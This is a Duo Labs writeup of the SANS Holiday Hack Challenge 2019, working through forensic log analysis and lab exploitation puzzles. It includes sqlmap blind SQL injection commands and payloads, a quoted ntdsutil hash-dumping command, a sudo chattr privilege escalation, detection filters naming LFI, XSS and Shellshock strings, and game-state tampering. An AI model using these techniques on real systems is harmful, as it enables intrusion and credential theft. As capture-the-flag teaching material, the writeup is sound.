Skip navigation

SANS Holiday Hack 2019 Writeup

Jordan Wright January 14th, 2020 (Last Updated: January 14th, 2020)

00. Introduction

Every year during the holiday season, SANS publishes their annual Holiday Hack Challenge. These challenges are a great way to learn new and useful exploitation, forensic, and incident response techniques to solve fun puzzles.

The Duo Labs team always enjoys participating in the Holiday Hack Challenges, and have written about our solutions in the past. The challenges have always been very polished, and this year is no exception.

As always, we first want to extend our thanks to Ed Skoudis and the SANS team for always putting together a thorough, fun challenge that never fails to teach something new.

Like last year, this year's Holiday Hack Challenge revolved around a virtual security conference called KringleCon hosted in the North Pole by Santa himself. As part of the conference, we’re asked to solve 12 technical objectives as well as mini-challenges in the form of a “Cranberry Pi” terminal.

For this writeup, we’ll focus on the solutions to the objectives first, followed by the Cranberry Pi solutions, wrapping up with the solutions to two miscellaneous challenges.

01. Unredact Threatening Document

Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter? Please find the letter in the Quad.

In the northwest corner of the Quad, we find a redacted letter:


Due to the way the document was redacted, we can reveal the hidden text by copy/pasting all the text in the document into a new plaintext document:

Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters… OR

Attention All Elf University Personnel,

It remains a constant source of frustration that Elf University and the entire operation at the North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE you to consider lending your considerable resources and expertise in providing merriment, cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical characters.

For centuries, we have expressed our frustration at your lack of willingness to spread your cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine holidays and mythical characters that need your direct support year-round.

Since the challenge description asks for "the first work in ALL CAPS in the subject line of the letter", the answer to this objective was "DEMAND".

02. Windows Log Analysis: Evaluate Attack Outcome

We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack.

For this challenge, we're given an evtx file, which is the format used by Event Viewer. To get the file into a format more suitable for parsing, we can use the python-evtx library to convert it to XML using the built-in script: /opt/Security.evtx > /opt/Security.xml

We can then aggregate on event ID's to get an idea of which events were seen in the file:

root@4a596f0e61b5:/opt# grep "EventID" Security.xml | sort | uniq -c
1 <EventID Qualifiers="">1102</EventID>
1 <EventID Qualifiers="">4616</EventID>
16 <EventID Qualifiers="">4624</EventID>
2386 <EventID Qualifiers="">4625</EventID>
15 <EventID Qualifiers="">4634</EventID>
2387 <EventID Qualifiers="">4648</EventID>

In this list:

  • Event ID 4648 stands for “A logon was attempted using explicit credentials”
  • Event ID 4625 stands for “An account failed to log on”
  • Event ID 4624 stands for “An account was successfully logged on”

The log files show that the failed login events were generated from the localhost IP address. We then investigated the 16 successful login events (event ID 4624) that also came from localhost, revealing a successful login for the “supatree” account:

<Event xmlns=""><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<EventID Qualifiers="">4624</EventID>
<TimeCreated SystemTime="2019-11-19 12:21:45.755442"></TimeCreated>
<Data Name="TargetUserSid">S-1-5-21-3433234885-4193570458-1970602280-1125</Data>
<Data Name="TargetUserName">supatree</Data>
<Data Name="TargetDomainName">ELFU</Data>
<Data Name="TargetLogonId">0x000000000027a811</Data>
<Data Name="LogonType">3</Data>
<Data Name="LogonProcessName">NtLmSsp </Data>
<Data Name="AuthenticationPackageName">NTLM</Data>
<Data Name="WorkstationName">DC1</Data>
<Data Name="IpAddress"></Data>
<Data Name="IpPort">52455</Data>

Since the objective asks for the user account that the attacker compromised, the answer to this objective is "supatree".

03. Windows Log Analysis: Determine Attacker Technique

Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process.

We can get a quick feel for the commands in here by parsing the file using jq, a powerful command-line JSON processor:

cat sysmon-data.json| jq '.[] | .command_line' | sort | uniq

We find quite a few obfuscated Powershell commands that are indicative of malicious activity. To determine the root of the activity, we grep'd for lsass.exe, revealing this record:

$ cat sysmon-data.json| jq '.[] | select(.parent_process_name == "lsass.exe")'

{ "command_line": "C:\Windows\system32\cmd.exe", "event_type": "process", "logon_id": 999, "parent_process_name": "lsass.exe", "parent_process_path": "C:\Windows\System32\lsass.exe", "pid": 3440, "ppid": 632, "process_name": "cmd.exe", "process_path": "C:\Windows\System32\cmd.exe", "subtype": "create", "timestamp": 132186398356220000, "unique_pid": "{7431d376-dedb-5dd3-0000-001027be4f00}", "unique_ppid": "{7431d376-cd7f-5dd3-0000-001013920000}", "user": "NT AUTHORITY\SYSTEM", "user_domain": "NT AUTHORITY", user_name": "SYSTEM }

This gives us the PID of the process, and the PID of the parent. By using the pid of the previous event as the parent process ID (the ppid) in our search, we can find the child process spawned by cmd.exe:

$ cat sysmon-data.json| jq '.[] | select(.ppid == 3440)'

{ "command_line": "ntdsutil.exe &quot;ac i ntds&quot; ifm &quot;create full c:\hive&quot; q q", "event_type": "process", "logon_id": 999, "parent_process_name": "cmd.exe", "parent_process_path": "C:\Windows\System32\cmd.exe", "pid": 3556, "ppid": 3440, "process_name": "ntdsutil.exe", "process_path": "C:\Windows\System32\ntdsutil.exe", "subtype": "create", "timestamp": 132186398470300000, "unique_pid": "{7431d376-dee7-5dd3-0000-0010f0c44f00}", "unique_ppid": "{7431d376-dedb-5dd3-0000-001027be4f00}", "user": "NT AUTHORITY\SYSTEM", "user_domain": "NT AUTHORITY", user_name": "SYSTEM }

The answer to this challenge was "NTDSUtil", which is a command-line utility for working with the Active Directory DB, including the ntds.dit file. You can find more information in this blog post.

04. Network Log Analysis: Determine Compromised System

The attacks don't stop! Can you help identify the IP address of the malware-infected system using these Zeek logs?

The ZIP file we’re given contains log files as well as an HTML file. Opening the HTML file displays an interface to parse through the logs. This output is from a tool called Rita which does various types of network analysis including beacon detection, which involves identifying a pattern of repeated outbound requests made to a single destination.

Rita output

In this case, we see a strong indication of beaconing (based on the "Score" column) from to This is reinforced by looking at the user agents. One of the user agents seen from is “Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)” which represents Internet Explorer 9 - a fairly old browser.

Digging into the logs themselves, we see that this host makes requests using both the suspicious IE9 user agent as well as “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36” suggesting it’s also a Linux box, contradicting the previously seen IE9 user agent.

All of this information together indicates that the host at is infected with malware. The answer to this objective was "".

05. Splunk

Access as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack?

In this challenge, we're given access to a Splunk instance where we can chat with various members of the Elf University security team and search through collected logs in order to respond to questions about a security incident that had occurred.

Question 1: What is the short host name of Professor Banas' computer?

Chatting with a SOC analyst reveals they have an issue with a system belonging to Professor Banas named "sweetums".

Question 2: What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)

Initial searching through the logs for “sweetums” reveals logs in which Powershell appears to be beaconing out to the host at in regular intervals. Filtering these logs further to just the “Microsoft-Windows-PowerShell/Operational” log and starting from the oldest logs, we start to see commands being executed by the malware. Here was the query used:

sweetums LogName="Microsoft-Windows-PowerShell/Operational"

One of these commands appeared to be searching for files that contained the pattern “Santa”, which returned multiple files in the C:\Users\cbanas directory, including the document “Naughty_and_Nice_2019_draft.txt”.

Select-String Listing

This seemed promising, but to confirm that the file was indeed accessed and copied, I added it to the search. This resulted in a log a few minutes later in which the attacker ran the Get-Item Powershell command on the file directly.

Copying File

The answer to the question was “C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt”.

Question 3: What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example:

The Powershell commands being executed appeared to be provided by regularly making an HTTP request to the host at Expanding the event details for these connections reveals the FQDN in the dest_host field.

The answer for the question was “”.

Question 4: What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

To find out the origin of the Powershell malware, I searched for any logs older than the first Powershell-related event. This returned logs indicating that Microsoft Word was being used at the time of infection, suggesting that the infection vector was a macro-enabled Word document.

Following the logs related to Microsoft Word further, we find a “Process Creation” event that opens the file “19th century holiday cheer assignment.docm”. The “docm” extension indicates the document is a macro-enabled Word document, suggesting that we’ve found the infection vector.

The answer to the question was “19th century holiday cheer assignment.docm”.

Question 5: How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)

Searching for the filename we discovered previously finds a particular log source named “stoq”, which contains information about inbound emails received. Filtering on the results{}.workers.smtp.subject field finds 21 events for the email subject “holiday cheer assignment submission”. The following query was used to filter on these values:

sourcetype=stoq "results{}.workers.smtp.subject"="holiday cheer assignment submission"

These events pertain to emails from students containing Holiday Cheer essays. Since each event corresponded to a unique email address, the answer to the question was 21.

Question 6: What was the password for the zip archive that contained the suspicious file?

The “stoq” event for the macro-enabled word document contained the following message body in the results{}.workers.smtp.body field:

Professor Banas, I have completed my assignment. Please open the attached zip file with password 123456789 and then open the word document to view it. You will have to click "Enable Editing" then "Enable Content" to see it. This was a fun assignment. I hope you like it! --Bradly Buttercups

The answer to the question was “123456789”.

Question 7: What email address did the suspicious file come from?

The results{}.workers.smtp.from field in the same event revealed that the email was sent from, which was the answer to the question.

Question 8: What was the message for Kent that the adversary embedded in this attack?

In addition to Splunk access, we're given a large archive of files seen by the network intrusion device. We're also given a Splunk query which maps document names to their storage filepaths.

Using this query determines that the document we're looking for is located at /home/ubuntu/archive/c/6/e/1/7/c6e175f5b8048c771b3a3fac5f3295d2032524af/19th Century Holiday Cheer Assignment.docm.

Splunk screenshot

Unzipping the file, the hint suggests we’re interested in core.xml, but there wasn’t anything clear in there. However, pulling down the core.xml archived file from storage using the same method revealed the message:

Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

06. Get Access To The Steam Tunnels

Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name.

When trying to gain access to the steam tunnels, we discover a locked room. In the room, we find a key cutter which accepts bitsets in the 0-9 range. This suggests that we need to cut the right key to bypass the lock.

A hint we’re given suggests that this involves finding a picture of the key from someone on the map. Upon exiting and reentering the room, we see an NPC that appears to have a key hanging from their belt.

Opening their avatar from the developer tools window gives a higher resolution image of the key. We can then zoom and rotate the image to get the following:

Using the Schlage template from Deviant Ollam we see the bit set is "1 2 2 5 2 0". Cutting this key lets us bypass the lock and access the steam tunnels, where we find Krampus Hollyfeld.

The answer to the objective was “Krampus Hollyfeld”.

07. Bypassing the Frido Sleigh Captcha

Help Krampus beat the Frido Sleigh contest.

For this challenge, we're given access to a web application which runs a contest where the prize is a lifetime amount of cookies.

The entry form gives us a captcha asking us to select all images in a particular category such as stockings, candy canes, or ornaments. We're only given 5 seconds to solve the captcha, indicating that we need to take an automated approach.

We’re given a hint that we should use machine learning to solve this challenge. Talking to Krampus from the previous challenge, we’re given 12,000 pre-labeled images, as well as a Python script that handles the boilerplate of retrieving the captcha images, submitting our answer to the server and, if it works, submitting entries to the server so that we can win the contest.

Watching the "Machine Learning Use Cases for Cybersecurity" Kringlecon presentation, we’re pointed to a repository which contains sample code for training an image classifier which then predicts results on new images.

I ran the training script on the 12,000 images we’re given, then modified the prediction code to work with the boilerplate script. This worked by getting the challenge images, making predictions, then submitting an answer with the correct images.

The hardest part of this challenge was finding the right hardware. On my personal computer, I couldn’t do the image prediction fast enough. Instead, I wound up using Google Colab which lets you run Jupyter notebooks for free, with a GPU hardware accelerator.

This submitted the entries in time, beating the challenge. Our result was "8Ia8LiZEwvyZr2WO".

08. Retrieve Scraps of Paper from Server

Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system?

For this challenge, we’re given access to a web application that allows us to apply as a student to Elf University or check our application status.

ELFU Homepage

Testing the “application check” page with an email address that contains a single quote, such as’ returns a SQL error:


This indicates a SQL injection vulnerability. Since we only get an error or a success message, this is blind SQL injection. The difficult part about exploiting this vulnerability is that each call to application-check.php requires a unique, one-time code that’s first retrieved from validator.php.

Fortunately for us, sqlmap has an --eval flag which allows us to run custom Python before every request. We can use this to get a token before every request. As shown in the output below, using this technique allows sqlmap to send valid requests that identify the elfmail parameter as vulnerable to blind SQLi, then dumps the table names from the database.

python -u '' -p elfmail --dbms mysql --eval 'import requests;token=requests.get("").text' --tables

<snip> GET parameter 'elfmail' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 328 HTTP(s) requests:

Parameter: elfmail (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload:' OR NOT 3453=3453#&token=XXXXXXX

Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload:' OR (SELECT 6610 FROM(SELECT COUNT(*),CONCAT(0x716a716b71,(SELECT (ELT(6610=6610,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NHWE&token=XXXXXXX

Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload:' AND (SELECT 3326 FROM (SELECT(SLEEP(5)))fBAG)-- bGZw&token=XXXXXXX

<snip> Database: elfu [3 tables] +---------------------------------------+ | applications | | krampus | | students | +---------------------------------------+ <snip>

The krampus table looked promising, so we dumped the data in that table using the same technique as before:

python -u '' -p elfmail --dbms mysql --eval 'import requests;token=requests.get("").text' -D elfu -T krampus --dump

Database: elfu Table: krampus [6 entries] +----+-----------------------+ | id | path | +----+-----------------------+ | 1 | /krampus/0f5f510e.png | | 2 | /krampus/1cc7e121.png | | 3 | /krampus/439f15e6.png | | 4 | /krampus/667d6896.png | | 5 | /krampus/adb798ca.png | | 6 | /krampus/ba417715.png | +----+-----------------------+

These paths are accessible from the webroot, returning a series of images that make up a torn piece of paper. Reconstructed, we get the following document:

The answer to the question was Super Sled-o-matic.

09. Recover Cleartext Document

The Elfscrow Crypto tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have debug symbols that you can use.

Recover the plaintext content for this encrypted document. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.

What is the middle line on the cover page? (Hint: it's five words)

For this challenge, we’re given a binary for the Elfscrow Crypto tool along with a PDB file containing the program’s symbols.

Before diving into a disassembler, it helps to run the file in a VM to understand a little about what it’s doing.

C:\Users\vm_user\Downloads>elfscrow.exe -h
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

Are you encrypting a file? Try --encrypt! For example:

elfscrow.exe --encrypt <infile> <outfile>

You'll be given a secret ID. Keep it safe! The only way to get the file back is to use that secret ID to decrypt it, like this:

elfscrow.exe --decrypt --id=<secret_id> <infile> <outfile>

You can optionally pass --insecure to use unencrypted HTTP. But if you do that, you'll be vulnerable to packet sniffers such as Wireshark that could potentially snoop on your traffic to figure out what's going on!

Next, we encrypted a test file using the --insecure flag with Wireshark running in the background to both see what the program execution looked like, as well as what traffic was being sent in the background:

C:\Users\vm_user\Downloads>elfscrow.exe --encrypt test.txt test.enc --insecure
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

*** WARNING: This traffic is using insecure HTTP and can be logged with tools su ch as Wireshark

Our miniature elves are putting together random bits for your secret key!

Seed = 1578796541

Generated an encryption key: 6591d9cb02e885ef (length: 8)

Elfscrowing your key...

Elfscrowing the key to:

Your secret id is eedd717e-e20d-450a-8bb2-f2e6d0bb8a2d - Santa Says, don't share that key with anybody! File successfully encrypted!

++=====================++ || || || ELF-SCROW || || || || || || || || O || || | || || | (O)- || || | || || | || || || || || || || || || || || ++=====================++

In the background, we see the following HTTP transaction:

Wireshark Encryption Routine

This gives us quite a bit of information to work with. First, we see that we create a seed that is used to generate a 64-bit key. This key is used to encrypt the file, and then the key is exchanged for a unique ID using the API at

Decryption appears to, unsurprisingly, do the opposite: it takes in the unique ID, exchanges it for a key using the elfscrow API, then uses the key to decrypt the file. With this background out of the way, we turned our attention to the details of how the encryption works.

Opening the file in Cutter, we started by analyzing the encryption routine. Since we have the PDB symbols, it’s easy to spot the encryption function named do_encrypt. Here’s an abbreviated version of the function:

uVar1 = pdb.unsigned_char_____cdecl_read_file_char____unsigned_long_int(arg_ch, (int32_t)&var_4h);
iVar2 = (*_pdb.__imp__CryptAcquireContextA_20)(&var_ch, 0, 0x404770, 1, 0xf0000000);
((int32_t)"Generated an encryption key", (int32_t)&var_18h, 8);
var_2ch._0_1_ = 8;
var_2ch._1_1_ = 2;
var_2ch._2_2_ = 0;
// This was a decompiler error - this is just a call to pdb.__imp__CryptImportKey_24
iVar2 = (*_section..rdata)(var_ch, &var_2ch, 0x14, 0, 1, &var_8h);
iVar2 = (*_pdb.__imp__CryptEncrypt_28)(var_8h, 0, 1, 0, arg_ch_00, &var_4h, var_4h + 8);
pdb.void___cdecl_store_key_int__unsigned_char___const(arg_8h, (int32_t)&var_18h);
iVar2 = (*_pdb.__imp____iob_func)("File successfully encrypted!\n");

Stepping through the code, the file is first read into memory, then a call to CryptAcquireContext sets the stage to use the Microsoft CryptoAPI.

Next, a key is generated using the generate_key function. This is what the function looks like:

void __cdecl pdb.void___cdecl_generate_key_unsigned_char___const(int32_t arg_8h)
undefined uVar1;
int32_t arg_8h_00;
uint32_t var_4h;
arg_8h_00 = (*_pdb.__imp____iob_func)
("Our miniature elves are putting together random bits for your secret key!\n\n");
(*_pdb.__imp__fprintf)(arg_8h_00 + 0x40);
// Generate the seed using the number of seconds since the epoch
arg_8h_00 = fcn.00401e60(0);
// Print the seed to STDOUT
var_4h = 0;
// Generate 8 random bytes
while (var_4h < 8) {
uVar1 = pdb.int___cdecl_super_secure_random_void();
*(undefined *)(arg_8h + var_4h) = uVar1;
var_4h = var_4h + 1;

Analyzing this function reveals that the seed is just the number of seconds since the epoch. This seed is then used to generate 8 random bytes using the super_secure_random function which is then used as the encryption key. This is the function’s implementation:

uint32_t pdb.int___cdecl_super_secure_random_void(void)
*(int32_t *)0x40602c = *(int32_t *)0x40602c * 0x343fd + 0x269ec3;
return *(int32_t *)0x40602c >> 0x10 & 0x7fff;

Searching online for one of the constants we see here reveals this is a Linear Congruential Generator, or LCG, which is used to generate pseudorandom numbers.

At this point, we know how to generate our key. Next, we need to determine which encryption algorithm is being used.

As we're told in the Kringlecon presentation "Reversing Crypto the Easy Way", the fact that we’re working with a 64-bit key suggests that the program is likely using DES. An error message in the assembly appears to confirm this hypothesis:

0x0040278c      call dword [sym.imp.ADVAPI32.dll_CryptImportKey] ; pdb.__imp__CryptImportKey_24
; 0x404000
0x00402792      test eax, eax
0x00402794      jne 0x4027a3
0x00402796      push 0x4047d8      ; "CryptImportKey failed for DES-CBC key"

Assuming this is accurate, we’re ready to plan our exploit. We’re told in the challenge description that the file was encrypted on “December 6, 2019, between 7pm and 9pm UTC”. To decrypt the file, we will iterate over every second in that range, calculating the epoch for that second and using it as the seed to generate the key.

To determine if we’re correct, we checked the output of decryption to see if it had the magic value %PDF- at the beginning, which would indicate that the file was a valid PDF.

The final exploit code can be found here. Running the code, we see that the file was encrypted at epoch value 1575663650, allowing us to decrypt and open the file:

The answer to this challenge was “Machine Learning Sleigh Route Finder”.

010. Open the Sleigh Shop Door

Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny?

For this challenge, we’re told to open a “crate”, which is a series of questions to answer that involve knowledge of how modern web pages work, as well as working with browser-based developer tools.

Question 1: You don't need a clever riddle to open the console and scroll a little.

Opening the developer console and scrolling up, we find our first answer:

Question 2: Some codes are hard to spy, perhaps they'll show up on pulp with dye?

Viewing the source of the page, we find a reference to print.css, which is rendered when the page is printed. This reveals the answer:

Question 3: This code is still unknown; it was fetched but never shown.

Viewing the network requests performed when the page was loaded reveals a request that was made in the background which contains our answer:

Question 4: Where might we keep the things we forage? Yes, of course: Local barrels!

The rhyme with “storage” and the reference to “local” gives us a hint that the answer is located in the browser’s Local Storage:

Question 5: Did you notice the code in the title? It may very well prove vital.

Viewing the page source, we see the answer hidden in the title using spaces.

Question 6: In order for this hologram to be effective, it may be necessary to increase your perspective.

Viewing the hologram element in the developer tools, we can remove the perspective CSS styling, revealing the answer:

Question 7: The font you're seeing is pretty slick, but this lock's code was my first pick..

Inspecting the element containing the question, we see that there are multiple font-family style definitions including one which is our answer.

Question 8: In the event that the .eggs go bad, you must figure out who will be sad.

Inspecting the element containing the question, we find a subelement with the .eggs class. Viewing the event handlers for this element, we find an event handler named “spoil” that, when fired, runs the function:


The answer to the question was “VERONICA”.

Question 9: This next code will be unredacted, but only when all the chakras are :active.

Inspecting the element containing the question, we find multiple subelements with the .chakra class. Selecting each and enabling the “active” state using the browser’s developer tools reveals the answer:

Question 10: Oh, no! This lock's out of commission! Pop off the cover and locate what's missing.

For this question, we start by inspecting the element containing the lock, and removing the subelement with the .cover class. This reveals the inside of the lock, which appears to be missing three objects:

By removing the disabled property on the switch and entering a test code, we see an error in the console that indicates “macaroni” is missing. Running document.queryAllSelector(“.macaroni”) in the console reveals that there is an element further up the page with the class .macaroni. Dragging and dropping that element into our lock element places the item in the correct location.

We do the same process to add the .swab and .gnome elements, filling in the missing items. Finally, we can use the code on the lower right hand corner of the inside of the lock as our answer to the question, unlocking the crate.

011. Filter Out Poisoned Sources of Weather Data

From the PDF we decrypted earlier, we are told that the default credentials are located “in the readme in the ElfU Research Labs git repository”. Since readme’s are commonly named, we can request and find the readme, which tells us we can login using the default credentials: admin:924158F9522B3744F5FCD4D10FAC4356

Now that we have access, we can turn our attention to the provided Zeek logs. Using jq, we can get a quick idea as to what fields we have to work with:

head http.log | jq 'limit(1; .[]) | keys'

To make grep’ing easier across all fields, we can dump the Zeek logs into a newline-delimited JSON feed:

cat http.log  | jq -c '.[]' > http.json

Now we can start looking for the attacks that Wunorse mentions: SQLi, LFI, Shellshock, and XSS. It wasn’t clear what fields these values would appear in, so I started with some basic grep’ing, such as using this to find potential XSS:

grep '<' http.json

Looking through the various logs, this led me to the following jq scripts to extract the relevant IP addresses (the “id.orig_h” field):

// XSS
cat http.json | jq '. | select(.host | contains("<script>")) | .["id.orig_h"]'
cat http.json | jq '. | select(.uri | contains("<script>")) | .["id.orig_h"]'

// LFI cat http.json | jq '. | select(.uri | contains("/etc/passwd")) | .["id.orig_h"]'

// SQLi cat http.json | jq '. | select(.uri | contains("UNION")) | .["id.orig_h"]' cat http.json | jq '. | select(.user_agent | contains("UNION")) | .["id.orig_h"]' cat http.json | jq '. | select(.username | contains("1=1")) | .["id.orig_h"]'

// Shellshock cat http.json | jq '. | select(.user_agent | contains(":;")) | .["id.orig_h"]'

All together, this gives us 61 unique IP addresses, which is short of our goal of 100 IP addresses. After being told we should pivot on a field, and the user agent is really the only thing that stands out.

To pivot on this field, I wrote a Python script that grabs the user agent from each record with a malicious IP. Then, it parses out any new IP addresses that share that user agent.

This gave me 147 IP addresses, which is too many. I thought there might be false positives in my dataset, so I printed out the number of IP addresses using each user agent. The top 4 user agents all had more than 10 IP addresses each, and they seemed to be potentially-legitimate user agent strings, suggesting there could be false positives.

For these user agents, I decided to be more strict and only keep the IP addresses that matched one of the attack strings above. You can find the final parsing script here.

After this final filtering, I was left with 96 IP addresses, which was enough to solve the challenge! This gave a route ID of "0807198508261964".

You can find the final IP address listing here.

012. Terminal: Escape Ed

For this challenge, we're placed in an instance of the Ed editor. We can close it out using "q", completing the challenge.

013. Terminal: Linux Path

Using which ls we can see that it’s using a version in /usr/local/bin/ls

elf@21785eb8deb5:~$ which ls
elf@21785eb8deb5:~$ env

Resetting the path allows us to use the correct version of ls:

elf@21785eb8deb5:~$ PATH=/usr/bin:/bin:/usr/local/games:/usr/games:/usr/local/bin
elf@21785eb8deb5:~$ ls
' '   rejected-elfu-logos.txt
Loading, please wait......

You did it! Congratulations!

014. Terminal: IPTables

For this challenge, we need to configure IPTables according to the document in

$ cat
A proper configuration for the Smart Braces should be exactly:
1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the
OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address to access the local SS
H server (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

To complete the challenge, I used the following rules:

elfuuser@070ddcdc29f5:~$ sudo iptables -P INPUT DROP
elfuuser@070ddcdc29f5:~$ sudo iptables -P FORWARD DROP
elfuuser@070ddcdc29f5:~$ sudo iptables -P OUTPUT DROP
elfuuser@070ddcdc29f5:~$ sudo iptables -A INPUT -m state --state  ESTABLISHED,RELATED -j ACCEPT
elfuuser@070ddcdc29f5:~$ sudo iptables -A OUTPUT -m state --state  ESTABLISHED,RELATED -j ACCEPT
elfuuser@070ddcdc29f5:~$ sudo iptables -A INPUT -p tcp -s --dport 22 -j ACCEPT
elfuuser@070ddcdc29f5:~$ sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
elfuuser@070ddcdc29f5:~$ sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
elfuuser@070ddcdc29f5:~$ sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
elfuuser@070ddcdc29f5:~$ sudo iptables -A INPUT -i lo -j ACCEPT
elfuuser@070ddcdc29f5:~$ Kent TinselTooth: Great, you hardened my IOT Smart Braces firewall!

015. Terminal: Nyanshell

Looking in /etc/passwd, we notice that alabaster_snowball’s shell has been changed to /bin/nsh:

elf@f3847721cd55:~$ cat /etc/passwd

This file is also marked as immutable:

elf@f3847721cd55:~$ lsattr /bin/nsh
----i---------e---- /bin/nsh

Checking our sudo permissions, we see that we have the ability to execute /usr/bin/chattr as root:

elf@f3847721cd55:~$ sudo -l
Matching Defaults entries for elf on f3847721cd55:
env_reset, mail_badpass,
User elf may run the following commands on f3847721cd55:
(root) NOPASSWD: /usr/bin/chattr

We can use this to remove the immutable flag, copy bash to that location and login as alabaster

elf@f3847721cd55:~$ sudo /usr/bin/chattr -i /bin/nsh
elf@f3847721cd55:~$ cp /bin/bash /bin/nsh
elf@f3847721cd55:~$ su alabaster_snowball
Loading, please wait......
You did it! Congratulations!

016. Terminal: Holiday Hack Trail

In this challenge, we’re presented with a holiday-themed rendition of Oregon Trail. There are three difficulty settings for playing the game which determine how much money and time we have to reach our destination.

Starting on easy mode, we see a URL at the top of the application, which represents the request being sent. An example looks like this:


By changing the distance parameter to 7999 and executing the request, our distance left is changed to 1. Then, choosing the “Go” option allows to travel the remaining distance, completing the game and the terminal challenge.

While the challenge was considered complete by beating the game on easy difficulty, we can also beat it on the medium and hard settings.

For the Medium setting, we no longer have a URL with our parameters. Instead, in the browser developer tools, we see a POST request being sent which includes all of the data. Inspecting the HTML reveals that the data is included in a hidden statusContainer element:

<div id="statusContainer">
  <input type="hidden" name="difficulty" class="difficulty" value="0">
  <input type="hidden" name="money" class="difficulty" value="5000">
  <input type="hidden" name="distance" class="distance" value="0">
  <input type="hidden" name="curmonth" class="difficulty" value="7">
  <input type="hidden" name="curday" class="difficulty" value="1">
  <input type="hidden" name="deathmonth3" class="deathmonth3" value="0">
  <input type="hidden" name="reindeer" class="reindeer" value="2">
  <input type="hidden" name="runners" class="runners" value="2">
  <input type="hidden" name="ammo" class="ammo" value="100">
  <input type="hidden" name="meds" class="meds" value="20">
  <input type="hidden" name="food" class="food" value="400">
  <input type="hidden" name="hash" class="hash" value="HASH">

By changing the distance parameter in this container to 7999 and pressing “Go”, we’ve beaten the game.

When setting the difficulty to “Hard”, we still see the hidden statusContainer element which now includes a hash which is validated by the server. Searching for this hash online reveals that it’s an MD5 hash for the value “1626”.

Watching the Kringlecon talk “Web Apps: A Trailhead”, we notice that there’s a screenshot of code that appears to be calculating an MD5 hash from the current state of the game, such as how much distance we have to go, how much money we have, etc.

This means that calculating a valid hash to beat the game is as simple as adding 7999 (the new distance) + 1626 (the current total, which has a distance of 0), and then hashing the result:

>>> val = 7999 + 1626
>>> hashlib.md5(str(val)).hexdigest()

By changing the distance parameter in the container to 7999, changing the hash to a330f9fecc388ce67f87b09855480ca3, and pressing “Go”, we’ve beaten the game.

017. Terminal: Mongo Pilfer

Using netstat, we see that MongoDB is running on a non-standard port:

elf@7dd786da0ff5:~$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0*               LISTEN

We can connect to it and enumerate the database, revealing the answer:

elf@1c7b5b808d42:~/dump/elfu$ mongo localhost:12121
MongoDB shell version v3.6.3
connecting to: mongodb://localhost:12121/test
MongoDB server version: 3.6.3
> show dbs
admin  0.000GB
elfu   0.000GB
local  0.000GB
test   0.000GB
> use elfu
switched to db elfu
> show collections;
> db.solution.find()
{ "_id" : "You did good! Just run the command between the stars: ** db.loadServerScripts();displaySolution(); **" }

Running the command db.loadServerScripts();displaySolution(); beats the challenge.

018. Terminal: Graylog

For this challenge, we’re given access to a Graylog instance in order to answer questions about an active incident.

Question 1: Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and downloaded a file.

What is the full-path + filename of the first malicious file downloaded by Minty?

Filtering events for “UserAccount:minty” revealed some suspicious commands being executed from the command line. Following the process tree (searching for ProcessId=the former parent process ID), I found record 5c900190-1b70-11ea-b211-0242ac120005 which is creating a process from the file:

The answer to the question was C:\Users\minty\Downloads\cookie_recipe.exe

Question 2: The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the ip:port the malicious file connected to first?

Searching for the ID of the process that was created by the previous record reveals three records. One of these records has EventID 3, which indicates a network connection being established. Analyzing the record, we find that the host connected to, which was the answer.

Question 3: What was the first command executed by the attacker (answer is a single word) To find commands executed by the attacker, we searched for child events of the initial process using the query “ParentProcessId:5256” and found the first record that ran the following command:

